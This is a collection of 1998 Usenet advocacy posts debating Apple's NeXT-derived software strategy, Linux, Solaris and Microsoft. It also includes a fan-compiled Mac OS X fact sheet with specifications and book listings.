UNIX used as a generic term unless specifically used as a trademark (such as
in the phrase "UNIX certified").
Names and logos of various OSs are trademarks of their respective owners.
The above is an operating system FACT SHEET on RHAPSODY. A Fact Sheet is an
organized summary of information and complements the more common FAQ
(Frequently Asked Questions). This Fact Sheet derived from <a
href="http://www.honeycomb.net/os/oses/rhapsody.htm">http://www.honeycomb.
net/os/oses/rhapsody.htm</a> on the Operating system web site at <a
href="http://www.honeycomb.net/os">http://www.honeycomb.net/os</a>. Report any
errors, ommissions, corrections, additions, etc. to <a
href="mailto:MerefBast@aol.com">CatGuy@lamg.com</a>.
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 03:59:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75v2im$qc7$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <368209cf.0@stan.astra.co.uk> <75ua59$88j$1@nnrp1.dejanews.com>
In article <75ua59$88j$1@nnrp1.dejanews.com>,
Michael.Peck@ericsson.com wrote:
> > I'm surprised that you are willing to post such a barefaced faslehood.
> > The case is quite the opposite: NeXT dropped the hardware to *sell* an
> > *operating system* to run on a number of hardware platforms.
>
> I'm a liar, and then you tell me that OPENSTEP didn't run atop Windows NT? Do
> I really have to bow my head to such filth from you, mmalcolm? Honestly,
> you've gone too far.
My humble apologies. I am in error; as you say below, it was in 1996 that
OPENSTEP ran on Windows NT, not in 1993.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <kWEg2.1043$fM1.31766@ptah.visi.com>
Date: Fri, 25 Dec 1998 04:56:48 GMT
NNTP-Posting-Date: Thu, 24 Dec 1998 22:56:48 CDT
r.e.ballard@usa.net writes:
>When Microsoft came out with Windows, WordPerfect was the dominant word
>processor, and Lotus Notes was the dominant spreadsheet.
I think you mean "123". Notes is their medium-weight database and
combined GUI front end masquerading as a mail server.
Brian
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 05:50:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75v93b$v55$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
In article <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>,
ch3@earthlink.net.rem.ove.this (c hand) wrote:
[cut]
> Less attractive than completing "in progress" efforts and bringing the
> full AppKit/YB to Solaris and HP/UX(which was already done for OpenStep
> before.) Solaris, like Win*, is in markets that Apple can transition
> into via their software products. These markets do not compete head-on
> with Apple's. A YB/Linux would.
Well, this should be good. Please detail the business case for porting YB to
Solaris. Be sure to include reasons why Linux's markets are coincident with
Apple's *but* Sun's are not. After all, the OpenMach proposal to which you
referred me seemed to indicate that Linux was in both Solaris' and Windows
NT's markets. How can that be consistent?
Oh, one more thing. It *was* you who said this, wasn't it?
> Sun is saving their hardware business while Linux eats away at Solaris.
Have fun.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sat, 26 Dec 1998 02:14:42 +1100
Organization: OzEmail Ltd.
Message-ID: <760a55$4ut$1@reader1.reader.news.ozemail.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <75snh2$b3e$1@reader1.reader.news.ozemail.net> <75uaip$26i$1@52-a-usw.rb1.blv.nwnexus.net>
Tim Smith wrote:
>Greg Alexander <galexand@ozemail.com.au> wrote:
>>2) The filesystem would be harder to use.
>
>It doesn't have to be. A/UX didn't present any file system difficulties to
>the user.
I meant that there will be far more files that have no meaning to a Mac user.
That's a complaint of Windows (unless you're only in the "My Documents" directory).
>>For Apple:
>>1) Have to support and test on several Linuxes (and/or BSDs)
>
>They don't have to do that. I think they come out ahead if all they do is
>pick one Linux (LinuxPPC) and only support that (or an Apple-modified
>distribution of that).
I was talking about selling an add on for existing linuxes - but I agree that
Apple could start with 1 Linux bundled on a Mac, use it as a live, on sale,
technology demonstration and guage attitudes etc - then release it
for existing Linux on Intel. Maybe that's there plan with the rumored
Linux-on-a-Mac release at Macworld?
>>I still think the key selling point will be all of TODAY's applications
>>available. YB would be added, as a way to get YB secretly installed on a lot
>>of desktops (ignoring licensing issues - they could also bundle it in
>>Quicktime).
>
>I don't see the need for YB or Carbon if they do MacOS on Linux in an
>A/UX-like manner.
You're basically saying BlueBox for Linux. They have to move the applications
forward to allow PMT etc - which is what Carbon is supposed to do. Also,
if they intend to be a premier development environment YB has alot to
offer.
Greg
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 07:01:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75vd7j$25r$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com>
In article <75upqa$47f$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> c hand <ch3@earthlink.net.rem.ove.this> wrote:
> Does this strongly stated opposition make the JDK, Netscape Navigator, and
> RealAudio any less popular?
>
> A few tidbits:
[cut]
Unfortunately, this probably does nothing more than further entrench Colin's
view that Linux is a competitor *and* that it must be fought. After his last
string of posts, and mmalcolm's reference to Colin's remarks on the subject,
it appears that I misunderstood the nature of the NeXT-side complaint against
YB for Linux. At first I put it down to pride and skepticism, but having
largely dropped the "no business case" argument by the wayside, Colin and
others appear to have further bared their sentiments, namely, that Linux is a
competitor and the cooperation on Apple's part would be helping a competitor.
After all, if there's no business case for porting YB to Linux, how could
there possibly be any business case in pushing a completely different
operating system -- so-called "OpenMach" -- and trying to sell YB *there*?
I feel stupid for not seeing it earlier, honestly. But after reading Don
Yacktman's "Modest Proposal", there's really no room for doubt. The best
Linux advocates can hope for is grudging support once Apple and company admit
that it clearly cannot fight Linux any longer, the way Jobs conceded that NT
was no longer an enemy: "We have to get past the notion that for Apple to
succeed, Microsoft must lose."
Fight, fight, fight, until the window of opportunity for cooperation has
closed. So this is the New Apple. Huh. Looks so much like the Old Apple, I
couldn't tell anything had changed.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 23:22:10 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net>
>Well, this should be good. Please detail the business case for porting YB to
>Solaris.
- Most, if not all, of the work is already done
- existing customer base in vertical markets
- 3,000 customers already using WebObjects
- Solaris strong in financial/enterprise markets where NeXT excelled
- poses no financial threat to Apple's platform
- helps diffuse Java hype
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 23:37:14 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <3682E3D0.A4829F04@ericsson.com> <ch3-2412981714590001@1cust237.tnt7.redmond.wa.da.uu.net> <75v99u$v6s$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412982337140001@1cust237.tnt7.redmond.wa.da.uu.net>
>Quit changing the subject, will you?
I wasn't aware that I had. You stated:
> The specification for OPENSTEP is *already* an open specification.
To which I responded that the APIs have undergone significant upgrade
since that spec was introduced more than four years ago.
>There is direct, recent precedent for it and it has absolutely
>nothing to do with what you call "religion".
Fine. Write up the non-religious business-case of why Apple benefits
in a real proposal and submit it to them.
--
regards : colin hand : mailto:ch3@earthlink.net
From: "Boris" <borisspamno@pleasemovil.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de>
Subject: Re: Really the Best Talent?
Date: Fri, 25 Dec 1998 00:10:49 -0800
Message-ID: <36834ab4$0$9741@nntp1.ba.best.com>
>In the case you don't know, cfront is the reference C++ translator
>implementation from Bjarne Stroustroup. I doubt if Zortech/Borelame/M$
>compilers were more up-to-date language-wise than the reference
>implementation.
Native C++ compilers were a huge step forward both in compilation speed and debugger
support.
>
>Yeah, hopefully. C++ is an abomination.
Yeah smart ass. You use C, Java, and Lunix. You can use whatever you want, but don't cry
about unfair competition fucked losers.
Boris
From: Graham Murray <graham@barnowl.demon.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 25 Dec 1998 09:19:30 +0000
Organization: A Private Internet Host
Message-ID: <m24sqkefz1.fsf@barnowl.demon.co.uk>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <367ff362.0@news.deniz.com>
Mime-Version: 1.0
Mail-Copies-To: never
User-Agent: Gnus/5.070068 (Pterodactyl Gnus v0.68) Emacs/20.3
In comp.os.linux.advocacy, "Todd Bandrowsky" <tbandrowsky@del.net> writes:
> Gee, the only thing IBM really needs is a PC operating system and they are
> an entity onto themselves.
Don't IBM already have a PC operating system? It is called OS/2. It is
just that IBM seems rather reluctant to market it.
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Mac OS X Fact Sheet
Date: 25 Dec 1998 10:27:35 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981225052735.01157.00001536@ng-ca1.aol.com>
MAC OS X FACT SHEET
The following is an operating system FACT SHEET on MAC OS X. A Fact Sheet is
an organized summary of information and complements the more common FAQ
(Frequently Asked Questions). This Fact Sheet derived from
<http://www.honeycomb.net/os/oses/macosx.htm>. Report any errors, ommissions,
corrections, additions, etc. to <MerefBast@aol.com>.
Mac OS X (<a
href="http://www.honeycomb.net/os/oses/macosx.htm">http://www.honeycomb.ne
t/os/oses/macosx.htm</a>)
<p align=center>See also: <a
href="http://www.honeycomb.net/os/oses/mac.htm">Macintosh</a>, <a
href="http://www.honeycomb.net/os/oses/rhapsody.htm">Rhapsody</a>, and <a
href="http://www.honeycomb.net/os/oses/next.htm">NeXT</a>
SUMMARY
Macintosh OS X (ten) is a desktop operating system based on Rhapsody.
Macintosh OS X is being made by Apple Computers and will run on Motorola/IBM
PowerPC.
Macintosh OS X is essentially <a href="./rhapsody.htm">Rhapsody</a> 2.0
optimized for Apple's PowerPC computers, a high powered UNIX with the friendly
face of the <a href="./mac.htm">Macintosh</a>.
"Forget a dual operating system strategy. In his keynote address at Apple's
1998 Worldwide Developer Conference, Steve Jobs, Apple's interim CEO, says all
the company's operating system plans are converging into one entity: Mac OS X
(10), due next year.
"Mac OS 8 and Rhapsody will be the "parents" of Mac OS X, due the third
quarter of 1999. The best parts of Rhapsody will be integrated into the Mac OS
to make it a modern operating system.
Mac OS X will be targeted for G3 systems and their predecessors; all
shipping products will run Mac OS X. It will be 100% PowerPC native; all 68k
code will be excised. The upcoming OS is slated to have protected memory,
enhanced virtual memory (with no more fixed size heaps), preemptive
multitasking, fast networking, and fast file I/O. It will also run Mac OS 8
compatible applications transparently." --Dennis Sellers, "The X-Files:
Rhapsody, Allegro + Sonata = Mac OS 10"
"Mac OS X the biggest leap in the Mac OS since 1984, bringing it into new
territory, but bringing all of us and current applications with it." --Steve
Jobs
Kind of OS: proprietary UNIX
Release Date: first quarter 1999
"A beta of Mac OS X is due in the first quarter of 1999 with a commercial
product due in the third quarter." --Dennis Sellers, "The X-Files: Rhapsody,
Allegro + Sonata = Mac OS 10"
Current Version: not released yet
Cost: unknown
Hardware Supported: IBM/Motorola PowerPC G3 (See also <a
href="http://www.honeycomb.net/os/holistic/hardware/hardware.htm">http://w
ww.honeycomb.net/os/holistic/hardware/hardware.htm</a>)
Maximum Number of Processors: unknown
Number of bits: 64
Kernel: MACH
POSIX: compatible
"I expect there's some work to port a Unix app to MacOS X, especially one
that uses any of the Unix System-V APIs. BSD-flavored apps should port easily
to MacOS X. Of course, the windowing systems of Unix and MacOS X are completely
different, so don't expect to easily port any X-windows apps." -- Steve Byan
Peripherals: unknown
File Systems Supported:
preferred file system: HFS+ (NRWF)
file systems can read/write/format: HFS (DRWF), FAT (RWF)
file systems can read/write: FAT32 (RW), VFAT (RW), UFS (RW), DVD-R (RW),
DVD-R/W (RW), DVD-RAM (RW)
file systems read only and can write through optional software: ISO 9660
(Rw), CD-i (Rw), VCD (Rw), ECD (Rw), PD (Rw), CD (Rw), DVD-Video (Rw), DVD-ROM
(Rw)
(See also: <a
href="http://www.honeycomb.net/os/holistic/connect/filesys.htm">File Systems
Supported</a>)
Graphics Engine: Enhanced QuickDraw
User Interface (text): UNIX shells UNIX shells
User Interface (graphic): Macintosh ToolBox
"From the WWDC98 charts, Mac OS X's CoreOS is essentially a Mach system
kernel (mk7.x + other advancements) with a POSIX-like system interface very
similar to *BSD-lite servers (which includes sockets), IOKit, VFS file system
interface (a BSD 4.4 thing), and AppleTalk." --Tuan Truong
REFERENCES
FURTHER READING: WEB SITES
Please send recommendations on additional URLs to <a
href="mailto:MerefBast@aol.com">MerefBast@aol.com</a>.
References Within This Web Site
<a href="http://www.honeycomb.net/os/macosx.htm">Mac OS X</a>
<a href="http://www.honeycomb.net/os/holistic/cost/cost.htm">Cost</a>
<a
href="http://www.honeycomb.net/os/holistic/hardware/hardware.htm">Hardware
Supported</a>
<a href="http://www.honeycomb.net/os/holistic/connect/filesys.htm">File
Systems Supported</a>
<a href="http://www.honeycomb.net/os/system/physical/physical.htm">Hardware
(Physical) Layer of an Operating System</a>
<a href="http://www.honeycomb.net/os/system/ui/ui.htm">User Interface</a>
Official Web Sites: none listed
FAQs (Frequently Asked Questions): none listed
User Group Web Sites
<a href="http://www.lamg.org/">Los Angeles Macintosh Group</a>
Other Related Web Sites
<a href="http://kirch.net/unix-nt/">http://kirch.net/unix-nt/</a> John
Kirch's article "Microsoft Windows NT Server 4.0 versus UNIX"
FURTHER READING: BOOKS
For more UNIX book listings, see also the general <a
href="http://www.honeycomb.net/os/oses/unix.htm#UNIXbooks">book listings</a> on
the UNIX web page.
Further Reading: Books: Introductory/General
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0805375651/
operatingsystemc">A Practical Guide to the Unix System</a>; by Mark G. Sobell;
Addison-Wesley Pub Co; October 1994; ISBN 0805375651; paperback; 800 pages;
$37.95
Further Reading: Books: Administration
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1565921275/
operatingsystemc">Essential System Administration: Help for Unix System
Administrators</a> (Nutshell Handbook); 2nd edition; by AEleen Frisch; O'Reilly
& Associates; December 1996; ISBN 1565921275; paperback; 788 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/078211931X/
operatingsystemc">The Complete Guide to Netware 4.11/Intranetware</a>; 2nd
edition; by James E. Gaskin; Sybex; December 1996; ISBN 078211931X; paperback;
$47.99; includes information on getting NetWare working with Windows,
Macintosh, UNIX, and OS/2
Further Reading: Books: Internet
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1562054945/
operatingsystemc">Building a Unix Internet Server</a>; by George Eckel; New
Riders Publishing; June 1995; ISBN 1562054945; paperback (with CD-ROM); 325
pages; $30.40
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201887932/
operatingsystemc">Learn HTML 3.0 on the Macintosh</a>; by Dave Mark, David
Lawrence; Addison-Wesley Pub Co; July 1996; ISBN 0201887932; paperback; $29.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201191571/
operatingsystemc">Learn Java on the MacIntosh</a>; by Barry Boone, Dave Mark;
Addison-Wesley Pub Co; August 1996; ISBN 0201191571; paperback (with CD-ROM);
475 pages; $27.96
Further Reading: Books: Enterprise/Business
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0471308595/
operatingsystemc">Openstep for Enterprises</A>; by Nancy Knolle Craighill; John
Wiley & Sons; October 1996; ISBN 0471308595; 245 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/038794852X/
operatingsystemc">Developing Business Applications With Openstep:</A> With 37
Illustrations; by Peter Clark, Nik Gervae; Springer Verlag; December 1996; ISBN
038794852X; Paperback; 275 pages; $43.95
Further Reading: Books: Content Creation
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201885980/
operatingsystemc">Beyond the Mac Is Not a Typewriter: More Typographic Insights
and Secrets</a>; by Robin Williams; Peachpit Press; January 1996; ISBN
0201885980; paperback; 222 pages; $13.56
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201887932/
operatingsystemc">Learn HTML 3.0 on the Macintosh</a>; by Dave Mark, David
Lawrence; Addison-Wesley Pub Co; July 1996; ISBN 0201887932; paperback; $29.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0127680306/
operatingsystemc">The Multimedia Production Handbook for the PC, Macintosh, and
Amiga</A>; by Tom Yager; Academic Press Professional; December 1993; ISBN
0127680306; Paperback; 382 pages; $31.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201191571/
operatingsystemc">Learn Java on the MacIntosh</a>; by Barry Boone, Dave Mark;
Addison-Wesley Pub Co; August 1996; ISBN 0201191571; paperback (with CD-ROM);
475 pages; $27.96
Further Reading: Books: Programming
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0122513347/
operatingsystemc">Rhapsody Developer's Guide:</A> Developer's Guide; by Jesse
Feiler; Ap Professional; August 1997; ISBN 0122513347; Paperback; $31.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/038794852X/
operatingsystemc">Developing Business Applications With Openstep:</A> With 37
Illustrations; by Peter Clark, Nik Gervae; Springer Verlag; December 1996; ISBN
038794852X; Paperback; 275 pages; $43.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/157169059X/
operatingsystemc">Black Art of Macintosh Game Programming</a>; by Kevin
Tieskoetter; Waite Group Pr; March 1996; ISBN 157169059X; paperback (with
CD-ROM); $39.99
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201191571/
operatingsystemc">Learn Java on the MacIntosh</a>; by Barry Boone, Dave Mark;
Addison-Wesley Pub Co; August 1996; ISBN 0201191571; paperback (with CD-ROM);
475 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201484064/
operatingsystemc">Learn C on the MacIntosh</a>; 2nd edition; by Dave Mark;
Addison-Wesley Pub Co; October 1995; ISBN 0201484064; paperback (with CD-ROM);
474 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1568843496/
operatingsystemc">Foundations of Mac Programming</a>; by Dan P. Sydow; IDG
Books Worldwide Inc.; December 20, 1995; ISBN 1568843496; paperback; 708 pages;
$31.99
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201563177/
operatingsystemc">Advanced Programming in the Unix Environment</a>
(Addison-Wesley Professional Computing Series); by W. Richard Stevens;
Addison-Wesley Pub Co; June 1992; ISBN 0201563177; hardcover; 744 pages; $63.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0123264200/
operatingsystemc">C++ Programming With Codewarrior: For the Macintosh and Power
Macintosh Beginner</a>; by Jan L. Harrington; Ap Professional; September 1995;
ISBN 0123264200; paperback (with CD-ROM); 373 pages; $29.60
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1558515054/
operatingsystemc">Metrowerks Codewarrior Programming</a>; by Dan Parks Sydow;
IDG Books Worldwide; December 1996; ISBN 1558515054; paperback; 538 pages (with
CD-ROM); $31.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0123264227/
operatingsystemc">Codewarrior Software Development Using Powerplant</a>; by Jan
L. Harrington; Ap Professional; May 1996; ISBN 0123264227; paperback (with
CD-ROM); 295 pages; $24.47
In Association with Amazon.com; If you want your book reviewed, please send
a copy to: Milo, POB 1361, Tustin, CA 92781, USA.
Names and logos of various OSs are trademarks of their respective owners.
The above is an operating system FACT SHEET on MAC OS X. A Fact Sheet is an
organized summary of information and complements the more common FAQ
(Frequently Asked Questions). This Fact Sheet derived from <a
href="http://www.honeycomb.net/os/oses/macosx.htm">http://www.honeycomb.ne
t/os/oses/macosx.htm</a> on the Operating system web site at <a
href="http://www.honeycomb.net/os">http://www.honeycomb.net/os</a>. Report any
errors, ommissions, corrections, additions, etc. to <a
href="mailto:MerefBast@aol.com">CatGuy@lamg.com</a>.
Message-ID: <3683696D.BD0633B3@nstar.net>
Date: Fri, 25 Dec 1998 04:31:09 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net>
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c hand wrote:
> - Most, if not all, of the work is already done
Then it should be extra easy to port to Linux. Linux was derived largely
from Solaris development conventions.
> - existing customer base in vertical markets
> - 3,000 customers already using WebObjects
I'm not sure I understand the significance of this. It compares to 9
million potential Linux seats...how?
> - Solaris strong in financial/enterprise markets where NeXT excelled
> - poses no financial threat to Apple's platform
These two I cannot possibly reconcile, given your previous statements.
> - helps diffuse Java hype
Hmmm. How? I thought the new Yellow Box had Java bindings built-in.
MJP
From: nospamhattonr@aug.com
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 25 Dec 1998 08:06:51 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <1998122508065251159@ts5-36.aug.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net> <slrn782nub.94k.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu> <3682E6BB.6C552445@ericsson.com>
Michael Peck <michael.peck@ericsson.com> wrote:
> > Personally, I liked the NeXTSTEP UI, and apparently so do many Linux
> > users, as WindowMaker and Afterstep are quite popular window managers,
> > despite providing only a thin veneer of the NeXT look.
>
> So they like the look. What does that have to do with the UI?
>
> MJP
Um, the look is a major part of the UI ??
From: "Rich Elberger" <rich@accessone.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Fri, 25 Dec 1998 20:10:54 -0800
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <761n61$mo3$1@remarQ.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <3672a08a.4301575@news2.asan.com> <753aem$f2q$1@nnrp03.primenet.com> <75jmdr$jb0$1@nnrp1.dejanews.com>
>For a different interpretation , see
>
>http://www.lamlaw.com
>
that isn't interpretation - it is just purely slanderous material.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 20:29:35 +0000
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References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com>
Content-Type: text/plain; charset="US-ASCII"
Organization: BM
Mime-Version: 1.0
Message-ID: <761e5d$7kc$1@fir.prod.itd.earthlink.net>
Michael Peck <michael.peck@ericsson.com> wrote:
>Oh hell, why not some more? Linux is freely available, and has been for
>5 years. Linux grew 212% in retail sales alone last year. Linux has over
>9 million users, by estimates. Linux has a flourishing software market
>with thousands upon thousands of developers. Linux is stable and
>well-known and has a cohesive community to support it. Linux has
>visibility and brand-name and tremendous momentum.
